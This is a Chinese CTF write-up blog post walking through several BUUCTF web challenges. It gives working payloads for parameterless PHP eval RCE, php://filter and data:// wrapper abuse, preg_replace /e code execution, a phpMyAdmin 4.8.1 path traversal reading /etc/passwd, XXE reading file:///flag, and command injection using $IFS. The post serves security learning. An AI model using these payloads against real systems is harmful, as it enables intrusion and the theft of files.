BUU---

目录

禁止套娃

ZJCTF,不过如此

[GWCTF 2019]我有一个数据库

[NCTF2019]Fake XML cookbook 


禁止套娃

GitHacker

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

eval的一句话木马,题目又加了好多过滤限制了RCE,首先是 php伪协议 data协议 filter协议 都不能使用了
然后该网站使用了正则匹配 其实这就是无参数的rce

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

就执行exp传递的命令

(?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))

无参数REC 一般有三种绕过姿势:

  • gettallheaders()
  • get_defined_vars()
  • session_id()

具体可以参考博客

紧接着 又是一次黑名单过滤,很多的关键字都被黑掉了(带有get 函数的,肯定是不能用了)
但还有一个函数 scandir 以扫描当前目录下的文件

payload:

exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."。

原理:
loacleconv 函数会固定返回一个 . 然后pos将我们获得的 .返回到我们构造的 payload 使得 scandir能够返回当前目录下的数组(换句话说,就是读出当前目录下的文件) rray_reverse()以相反的顺序输出(目的是以正序输出查询出来的内容)然后 next 提取第二个元素(将.过滤出去),最后用highlight_file()给显示出来。

上面 的正则过滤中 其实并没有过滤掉 session_id()
所以我们可以使用 session_id来获取 flag
session_id() 可以用来获取/设置 当前会话 ID。
在我们使用 session_id()的时候 需要使用session_start()来开启session会话
我们尝试构造payload

?exp=highlight_file(session_id(session_start()));

session_id(session_start())
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。

ZJCTF,不过如此

file_get_contents

将整个文件读入一个字符串

例:

file_get_contents('test.txt');

file_get_contents('http://www.example.com/'); 

file_get_contents()$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL。于是便可以利用伪协议:

简单回顾下

file://

作用:

用于访问文件(绝对路径、相对路径、网络路径)

示例:

http://www.xx.com?file=file:///etc/passswd

php://
作用:

访问输入输出流

1. php://filter

作用:

读取源代码并进行base64编码输出

示例:

http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)

参数:

resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

2. php://input

作用:

执行POST数据中的php代码

示例:

http://127.0.0.1/cmd.php?cmd=php://input

POST数据:<?php phpinfo()?>

注意:

enctype="multipart/form-data" 的时候 php://input 是无效的

data://
作用:

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输

示例:

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

这里我们用data协议和php://filter

payload:

?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php

将返回的解码后:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

传递cmd参数,绕过preg_replace

preg_replace /e 模式

导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行,然而这里的第二个参数却固定为 'strtolower("\\1")' 字符串,那这样要如何执行代码呢?

上面的命令执行,相当于 eval('strtolower("\\1");') 结果,当中的 \\1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义

这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。官方 payload 为: /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 。

  1. 原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
  2. 变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

上面的 preg_replace 语句如果直接写在程序里面,当然可以成功执行 phpinfo() ,然而我们的 .* 是通过 GET 方式传入,你会发现无法执行 phpinfo 函数

这是由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。

所以我们要做的就是换一个正则表达式,让其匹配到 {${phpinfo()}} 即可执行 phpinfo 函数。payload :

\S*=${phpinfo()}

调用getFlag()函数,然后RCE

next.php?\S*=${getFlag()}&cmd=system('ls /');

[GWCTF 2019]我有一个数据库

robots.txt

提示phpinfo.php

用dirsearch还发现了phpmyadmin - 数据库管理界面

可以看见,是4.8.1版本的,而4.8.1版本存在任意文件读取漏洞 

https://blog.csdn.net/weixin_44037296/article/details/111039461

使用Payload尝试:

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

可以成功执行,获取到了passwd文件的内容,尝试查找flag,最终Payload

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

[NCTF2019]Fake XML cookbook 

原始包: 

 将提交的数据放到了doLogin.php下,题目提示XML

浅谈XML实体注入漏洞 - FreeBuf网络安全行业门户

xee外部实体,那么构建我们的恶意的外部实体,实现攻击。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

[WUSTCTF2020]朴实无华


robots.txt

User-agent: *
Disallow: /fAke_f1agggg.php

/fAke_f1agggg.php

什么都没有
看看相应包

/fl4g.php

开审
 

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
去非洲吧

level1:

intval:返回变量的整数值
用字符串绕过,例:

?num='1e4'
发现不行,再试试?num=1e4,可以,应该是会自动转换为字符串55

 level2:
参数和其md5值相同
0e任何数=0  也就是使该值经过md5后仍然是0e开头的值即可,可以编写脚本,我直接从网上找到值,可以令md5=0e215962017

md5=0e215962017

get flag
strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。
这里我们要让他为NULL,才能进这个if
所以不能有空格

str_ireplace() 函数使用一个字符串替换字符串中的另一些字符。

三个参数,用第二个替换第三个中包含的第一个参数
这里相当于过滤了cat
直接:
get_flag=ls
get_flag=more$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

final:
?num=1e4&md5=0e215962017&get_flag=more$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[ASIS 2019]Unicorn shop

 

 一眼购买

填 1 3

商品错误

说明id不为1

填4 1337

price为一个字符

考点unicode编码安全问题

我们可以用别的语言来表示数字

 搜uncode大于1337的字符
直接搜thousand,会有一大堆

传参即可得到flag(注意url编码)


id=4&price=%E2%86%82
 

[MRCTF2020]PYWebsite

 源码:

我在想把md5解密555

直接看flag.php

 

构造:XFF:127.0.0.1

X-Forwarded-For:127.0.0.1 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值